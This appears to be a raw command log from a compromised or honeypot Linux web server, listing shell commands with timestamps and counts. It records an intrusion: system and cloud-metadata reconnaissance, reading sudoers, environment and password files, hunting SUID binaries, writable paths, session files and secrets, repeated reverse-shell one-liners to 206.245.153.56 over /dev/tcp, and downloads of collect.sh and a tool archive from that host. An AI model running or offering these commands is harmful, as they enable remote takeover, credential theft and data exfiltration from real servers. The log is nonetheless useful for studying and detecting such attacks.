Commandls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/wwwRun by the spawned shell2026-10-29 20:05:532026-10-31 01:42:007
Commandfind /var/www /srv/www -maxdepth 4 ( -iname *openapi* -o -iname *swagger* )Run by the spawned shell2026-10-29 20:05:592026-10-31 01:42:007
Commandls -la /tmp/<REDACTED>-deepRun by the spawned shell2026-10-29 20:06:042026-10-29 20:06:041
Commandcat /proc/uptimeRun by the spawned shell2026-10-29 20:06:152026-10-29 20:09:063
Commandcat /sys/class/dmi/id/bios_vendorRun by the spawned shell2026-10-29 20:06:152026-10-29 20:09:063
Commandcat /sys/class/dmi/id/bios_versionRun by the spawned shell2026-10-29 20:06:152026-10-29 20:09:063
Commandcat /sys/class/dmi/id/board_nameRun by the spawned shell2026-10-29 20:06:152026-10-29 20:09:063
Commandcat /sys/class/dmi/id/chassis_serialRun by the spawned shell2026-10-29 20:06:152026-10-29 20:09:063
Commandcat /sys/class/dmi/id/chassis_typeRun by the spawned shell2026-10-29 20:06:152026-10-29 20:09:063
Commandcat /sys/class/dmi/id/product_nameRun by the spawned shell2026-10-29 20:06:152026-10-29 20:09:063
Commandcat /sys/class/dmi/id/product_versionRun by the spawned shell2026-10-29 20:06:152026-10-29 20:09:063
Commandcat /sys/class/dmi/id/sys_vendorRun by the spawned shell2026-10-29 20:06:152026-10-29 20:09:063
Commanddate -uRun by the spawned shell2026-10-29 20:06:152026-10-29 20:09:063
Commandhostname -fRun by the spawned shell2026-10-29 20:06:152026-10-29 20:09:063
Commandls -la /tmp/collect.sh /tmp/c_* /tmp/*.tsvRun by the spawned shell2026-10-29 20:06:152026-10-29 20:06:151
CommanduptimeRun by the spawned shell2026-10-29 20:06:152026-10-29 20:09:063
Commandapache2 -vRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandapache2ctl -MRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandapache2ctl -SRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /etc/apache2/sites-enabled/000-default.conf /etc/nginx/sites-enabled/* /etc/nginx/conf.d/*.confRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /etc/default/apache-htcacheclean /etc/default/nss /etc/default/useraddRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /etc/environmentRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /etc/nsswitch.confRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /etc/profileRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /etc/profile.d/*.shRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /etc/sudoersRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /etc/sudoers.d/*Run by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /proc/1/cgroup /proc/self/cgroupRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /proc/1/statusRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /proc/loadavgRun by the spawned shell2026-10-29 20:06:182026-10-31 01:53:553
Commandcat /proc/net/fib_trieRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /proc/partitionsRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /proc/self/mountinfoRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /proc/swapsRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/class/net/enp0s2/addressRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/class/net/lo/addressRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/cpu/online /sys/devices/system/cpu/possibleRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory0/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory1/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory10/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory11/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory12/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory13/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory14/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory15/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory2/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory3/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory4/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory5/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory6/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory7/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory8/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/memory/memory9/stateRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/devices/system/node/node0/meminfoRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/fs/cgroup/cpu.maxRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/fs/cgroup/cpuset.cpus.effectiveRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/fs/cgroup/memory.currentRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/fs/cgroup/memory.maxRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/fs/cgroup/memory.peakRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/fs/cgroup/memory.swap.maxRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/fs/cgroup/memory/memory.limit_in_bytesRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/fs/cgroup/memory/memory.usage_in_bytesRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /sys/fs/cgroup/pids.maxRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandcat /var/www/html/robots.txtRun by the spawned shell2026-10-29 20:06:182026-10-31 01:36:013
Commandcurl -sS --max-time 2 http://169.254.169.254/opc/v1/instance/Run by the spawned shell2026-10-29 20:06:182026-10-31 01:41:556
Commandcut -d -f1Run by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commanddpkg-query -W -f=${Package}\nRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commanddpkg-query -W -f=${Package}\t${Version}\nRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commanddu -sh /homeRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commanddu -sh /optRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commanddu -sh /srvRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commanddu -sh /tmpRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commanddu -sh /usr/localRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commanddu -sh /var/libRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commanddu -sh /var/logRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commanddu -sh /var/wwwRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commanddu -sh /var/www/htmlRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
CommandenvRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandgetent hosts databaseRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandgetent hosts dbRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandgetent hosts gateway.docker.internalRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandgetent hosts host.docker.internalRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandgetent hosts mailRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandgetent hosts mysqlRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandgetent hosts rabbitmqRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandgetent hosts redisRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandgetent hosts smtpRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandgrep -E /(host|var/lib/docker|var/lib/containerd|mnt|media) /proc/self/mountinfoRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandgrep -E ^(Uid|Gid|Groups|Cap|NoNewPrivs|Seccomp) /proc/self/statusRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandgrep -Rhs DocumentRoot /etc/apache2 /etc/httpdRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandphp -mRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandphp -vRun by the spawned shell2026-10-29 20:06:182026-10-31 01:40:033
Commandsed s#^/##; s#/#__#gRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/actions.confRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/auth_basic.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/auth_digest.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/auth_form.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/authn_dbd.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/authn_dbm.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/authnz_fcgi.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/authnz_ldap.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/authz_core.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/authz_dbd.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/authz_dbm.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/authz_user.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/brotli.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/cache_socache.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/cern_meta.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/cgid.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/data.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/dav_fs.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/dav_lock.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/dbd.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/dialup.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/dir.confRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/dir.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/file_cache.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/filter.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/heartbeat.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/http2.confRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/http2.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/ident.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/imagemap.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/lbmethod_bytraffic.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/lbmethod_heartbeat.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/log_debug.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/lua.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/md.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/mpm_event.confRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/mpm_prefork.confRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/mpm_prefork.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/mpm_worker.loadRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/negotiation.confRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/proxy.confRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandswapon --showRun by the spawned shell2026-10-29 20:06:182026-10-29 20:09:062
Commandsha256sum /etc/apache2/mods-available/proxy_balancer.loadRun by the spawned shell2026-10-29 20:09:062026-10-29 20:09:061
Commandsha256sum /etc/apache2/mods-available/proxy_hcheck.loadRun by the spawned shell2026-10-29 20:09:062026-10-29 20:09:061
Commandsha256sum /etc/apache2/mods-available/proxy_http.loadRun by the spawned shell2026-10-29 20:09:062026-10-29 20:09:061
Commandsha256sum /etc/apache2/mods-available/proxy_uwsgi.loadRun by the spawned shell2026-10-29 20:09:062026-10-29 20:09:061
Commandpgrep -c -f collect.shRun by the spawned shell2026-10-29 20:10:342026-10-31 01:47:334
Commandls -la /tmp/<REDACTED>-443/meta.tsvRun by the spawned shell2026-10-29 20:15:202026-10-29 20:15:542
Commandpgrep -af collect.shRun by the spawned shell2026-10-29 20:15:202026-10-31 01:46:513
Commandls -la /tmp/beacon.shRun by the spawned shell2026-10-29 20:15:542026-10-29 20:15:541
Commandbash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1Run by the spawned shell2026-10-31 00:27:472026-10-31 00:27:471
Commandcurl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/Run by the spawned shell2026-10-31 00:27:472026-10-31 00:27:471
Commandcurl -sS -o /dev/null -w c2:%{http_code}\n http://206.245.153.56:8088/tools/collect.shRun by the spawned shell2026-10-31 00:27:472026-10-31 00:27:471
Commandcurl -sS -o /dev/null -w cf:%{http_code}\n http://1.1.1.1/Run by the spawned shell2026-10-31 00:27:472026-10-31 00:27:471
Commandcurl -sS -o /dev/null -w deb:%{http_code}\n http://deb.debian.org/debian/Run by the spawned shell2026-10-31 00:27:472026-10-31 00:27:471
Commanddpkg-query --list --Run by the spawned shell2026-10-31 00:27:472026-10-31 00:27:471
Commandphp -S 0.0.0.0:45454 -t /tmp/probeRun by the spawned shell2026-10-31 00:27:472026-10-31 00:27:471
Commandsetsid bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1Run by the spawned shell2026-10-31 00:27:472026-10-31 00:27:471
Commandsetsid php -S 0.0.0.0:45454 -t /tmp/probeRun by the spawned shell2026-10-31 00:27:472026-10-31 00:27:471
Commandsh -c -- [ -e /tmp/.c1422 ]||{ >/tmp/.c1422;setsid bash -c 'bash -i >&/dev/tcp/206.245.153.56/42425 0>&1' & }Run by the spawned shell2026-10-31 00:27:472026-10-31 00:27:471
Commandls -ld /var/www /var/www/html /root /etc/sshRun by the spawned shell2026-10-31 00:31:392026-10-31 00:31:391
Commanddf -hRun by the spawned shell2026-10-31 00:31:562026-10-31 01:40:032
Commandls -l /run/docker.sockRun by the spawned shell2026-10-31 00:31:562026-10-31 00:31:561
Commandfind / -maxdepth 2 -writable -not -path /proc/* -not -path /sys/*Run by the spawned shell2026-10-31 00:32:022026-10-31 00:32:021
Commandfind / -xdev -maxdepth 3 -type d -perm -0777 -not -path /proc/* -not -path /sys/*Run by the spawned shell2026-10-31 00:32:022026-10-31 00:32:021
Commandfind / -xdev -maxdepth 3 -type d -perm -0070 -group www-data -not -path /proc/*Run by the spawned shell2026-10-31 00:32:082026-10-31 00:32:081
Commandls -ld /etc/cron.d /etc/apache2 /usr/local/bin /appRun by the spawned shell2026-10-31 00:32:082026-10-31 00:32:081
Commandls -ld /etc/cron.d /etc/apache2 /usr/local/bin /app /srvRun by the spawned shell2026-10-31 00:32:152026-10-31 00:32:151
Commandls -ld /etc/cron.dRun by the spawned shell2026-10-31 00:33:002026-10-31 01:05:332
Commandfind / -xdev -perm -4000 -type fRun by the spawned shell2026-10-31 00:33:052026-10-31 01:37:283
Commandls -l /usr/sbin/sshd /usr/bin/sshRun by the spawned shell2026-10-31 00:33:052026-10-31 00:33:051
Commandcut -d: -f1,3,6 /etc/passwdRun by the spawned shell2026-10-31 00:33:262026-10-31 00:33:261
Commandls -l /etc/passwd /etc/shadow /etc/groupRun by the spawned shell2026-10-31 00:33:262026-10-31 00:33:261
Commandfind /usr/bin /usr/sbin /bin -perm -4000Run by the spawned shell2026-10-31 00:34:072026-10-31 00:34:072
Commandls -l /etc/passwd /etc/shadowRun by the spawned shell2026-10-31 00:34:072026-10-31 00:34:071
Commandfind / -xdev -writable -not -path /proc/* -not -path /sys/* -not -path /tmp/*Run by the spawned shell2026-10-31 00:34:332026-10-31 00:34:331
Commanddpkg -lRun by the spawned shell2026-10-31 00:35:372026-10-31 01:02:432
Commandls -ld /run /run/systemdRun by the spawned shell2026-10-31 00:35:372026-10-31 00:35:371
Commandls -ld /var/cache/apache2/mod_cache_disk /var/log/apache2 /var/tmpRun by the spawned shell2026-10-31 00:35:372026-10-31 00:35:371
Commandsh -c -- [ -e /tmp/.c1425 ]||{ >/tmp/.c1425;setsid bash -c 'bash -i >&/dev/tcp/206.245.153.56/42428 0>&1' & }Run by the spawned shell2026-10-31 00:39:282026-10-31 00:39:281
Commandbash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1Run by the spawned shell2026-10-31 00:39:472026-10-31 00:43:212
Commandsetsid bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1Run by the spawned shell2026-10-31 00:39:472026-10-31 00:39:471
Commandls -la /root/.ssh /homeRun by the spawned shell2026-10-31 01:02:142026-10-31 01:02:141
Commandls -la /var/www/.sshRun by the spawned shell2026-10-31 01:02:142026-10-31 01:40:032
Commandls -ld /var/wwwRun by the spawned shell2026-10-31 01:02:262026-10-31 01:02:432
Commandcurl -sS -m 8 -o /dev/null -w eg=%{http_code} http://206.245.153.56:8088/Run by the spawned shell2026-10-31 01:02:432026-10-31 01:02:431
Commandcurl -sS -m 8 -o /dev/null -w A=%{http_code} http://206.245.153.56:8088/tools/collect.shRun by the spawned shell2026-10-31 01:03:022026-10-31 01:03:213
Commandcurl -sS -m 10 -o /dev/null -w B=%{http_code} http://deb.debian.org/debian/READMERun by the spawned shell2026-10-31 01:03:112026-10-31 01:03:111
Commandid -uRun by the spawned shell2026-10-31 01:03:112026-10-31 01:46:028
Commandls -l /bin/bash /bin/shRun by the spawned shell2026-10-31 01:03:432026-10-31 01:03:431
Commandls -la /tmpRun by the spawned shell2026-10-31 01:03:562026-10-31 01:03:561
Commandsh /dev/nullRun by the spawned shell2026-10-31 01:03:562026-10-31 01:03:561
Commandchmod 755 /var/www/htmlRun by the spawned shell2026-10-31 01:04:472026-10-31 01:04:471
Commandchmod 755 /var/www/html/.p /var/www/html/.p/akRun by the spawned shell2026-10-31 01:04:532026-10-31 01:04:531
Commandls -la /var/www/html/.p/akRun by the spawned shell2026-10-31 01:04:532026-10-31 01:04:531
Commandls -ld /var/www/html/includesRun by the spawned shell2026-10-31 01:05:112026-10-31 01:05:111
Commandls -ld /var/lib/php/sessionsRun by the spawned shell2026-10-31 01:05:242026-10-31 01:36:422
Commandls -ld /var/spool/cron /etc/cron.dRun by the spawned shell2026-10-31 01:05:332026-10-31 01:05:331
Commandcurl -sS -m 10 -o /tmp/ip.txt http://206.245.153.56:8088/tools/collect.shRun by the spawned shell2026-10-31 01:05:582026-10-31 01:05:581
Commandcurl -sS -m 6 http://ifconfig.meRun by the spawned shell2026-10-31 01:06:062026-10-31 01:06:061
Commandcurl -sS -m 8 http://206.245.153.56:8088/ipRun by the spawned shell2026-10-31 01:06:062026-10-31 01:06:061
Commandcurl -sS -m 8 http://ifconfig.meRun by the spawned shell2026-10-31 01:06:062026-10-31 01:06:061
Commandls -ld /var/tmpRun by the spawned shell2026-10-31 01:07:002026-10-31 01:07:001
Commandls -la /var/tmpRun by the spawned shell2026-10-31 01:07:232026-10-31 01:07:231
Commandgrep www-data /etc/passwdRun by the spawned shell2026-10-31 01:07:482026-10-31 01:09:222
Commandls -ld /etc /etc/passwd /etc/nsswitch.confRun by the spawned shell2026-10-31 01:07:482026-10-31 01:07:481
Commandawk -F: $1=="www-data"{print $1, $6, $7} /etc/passwdRun by the spawned shell2026-10-31 01:07:572026-10-31 01:07:571
Commandls -la /Run by the spawned shell2026-10-31 01:08:232026-10-31 01:08:231
Commandls -la /var/run/docker.sock /run/docker.sockRun by the spawned shell2026-10-31 01:08:582026-10-31 01:08:581
Commandls -ld /run /run/lock /var/lockRun by the spawned shell2026-10-31 01:08:582026-10-31 01:08:581
Commandls -l /usr/bin/mount /usr/bin/chshRun by the spawned shell2026-10-31 01:08:592026-10-31 01:08:591
Commandls -l /usr/bin/passwd /usr/bin/su /usr/bin/mount /usr/bin/umount /usr/bin/chsh /usr/bin/newgrpRun by the spawned shell2026-10-31 01:09:322026-10-31 01:09:321
Commandls -la /var/lib/apache2Run by the spawned shell2026-10-31 01:09:322026-10-31 01:09:321
Commandls -ld /etc/php /etc/php/*Run by the spawned shell2026-10-31 01:09:482026-10-31 01:09:481
Commandhead -1 /etc/passwdRun by the spawned shell2026-10-31 01:09:532026-10-31 01:09:531
Commandls -l /etc/passwdRun by the spawned shell2026-10-31 01:09:532026-10-31 01:09:531
Commandls -ld /tmp /var/tmpRun by the spawned shell2026-10-31 01:11:062026-10-31 01:11:061
Commandls -l /etc/shadowRun by the spawned shell2026-10-31 01:11:262026-10-31 01:11:332
Commandawk NR>1{split(,a,:); if(a[2]==0000) print L,a[1]} /proc/net/tcpRun by the spawned shell2026-10-31 01:11:332026-10-31 01:11:331
Commandcp /etc/passwd /tmp/pwRun by the spawned shell2026-10-31 01:11:562026-10-31 01:11:561
Commandgrep -c . /etc/shadowRun by the spawned shell2026-10-31 01:12:002026-10-31 01:12:001
Commandls -l /etc/ld.so.preloadRun by the spawned shell2026-10-31 01:12:002026-10-31 01:12:001
Commandsh /tmp/collect.sh -i 1422 -n <REDACTED>-20261031Run by the spawned shell2026-10-31 01:12:012026-10-31 01:12:011
Commandls -l /bin/bash /usr/bin/bashRun by the spawned shell2026-10-31 01:12:342026-10-31 01:12:341
Commandmkdir -p /var/tmp/.pRun by the spawned shell2026-10-31 01:12:582026-10-31 01:16:142
Commandls -l /dev/fuseRun by the spawned shell2026-10-31 01:13:032026-10-31 01:13:031
Commandfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-20261031 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.lRun by the spawned shell2026-10-31 01:13:422026-10-31 01:25:146
Commandcurl -sS -o /dev/null -w s=%{http_code} http://206.245.153.56:8088/serve/Run by the spawned shell2026-10-31 01:13:582026-10-31 01:13:581
Commandgrep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir=<REDACTED>-20261031 --exclude-dir=collect-* --exclude-dir=recon-* --exclude-dir=.loot-tools --excluRun by the spawned shell2026-10-31 01:15:192026-10-31 01:26:512
Commandsh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='Run by the spawned shell2026-10-31 01:15:192026-10-31 01:26:512
Commandtimeout 60 sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exRun by the spawned shell2026-10-31 01:15:192026-10-31 01:26:512
Commandfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -4000 -printf %m %u %g %p\nRun by the spawned shell2026-10-31 01:15:252026-10-31 01:43:584
Commandfind /var/www /srv /opt /home -xdev -type f ( -name *.log -o -path */logs/* ) -size -10M -printf %s %p\nRun by the spawned shell2026-10-31 01:15:252026-10-31 01:43:584
Commandfind /var/www /srv /opt /home /tmp -xdev ( -path /tmp/<REDACTED>-20261031 -prune ) -o -type f -mtime -14 -printf %TY-%Tm-%Td %TH:%TM %s %p\nRun by the spawned shell2026-10-31 01:15:252026-10-31 01:27:012
Commandls -laR /var/logRun by the spawned shell2026-10-31 01:15:252026-10-31 01:43:584
Commandsh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -rRun by the spawned shell2026-10-31 01:15:252026-10-31 01:43:584
Commandsh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -tyRun by the spawned shell2026-10-31 01:15:252026-10-31 01:27:012
Commandtimeout 40 sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.logRun by the spawned shell2026-10-31 01:15:252026-10-31 01:43:584
Commandtimeout 40 sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -pRun by the spawned shell2026-10-31 01:15:252026-10-31 01:27:012
Commandfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -2000 -printf %m %u %g %p\nRun by the spawned shell2026-10-31 01:15:452026-10-31 01:44:224
Commandrm -rf /var/tmp/.pRun by the spawned shell2026-10-31 01:15:522026-11-04 21:28:352
Commandfind /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions -maxdepth 2 -type f -name sess_* -size -64k -printRun by the spawned shell2026-10-31 01:16:112026-10-31 01:44:434
Commandfind /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions /var/www/html/var/cache -maxdepth 3 -type f ( -name sess_* -o -name *.session -o -name tokencache.* ) -printf %s\t%p\nRun by the spawned shell2026-10-31 01:16:112026-10-31 01:44:434
Commandcurl -sS -o dbt.tgz http://206.245.153.56:8088/tools/j490/j490_dbt.tgzRun by the spawned shell2026-10-31 01:16:142026-10-31 01:17:142
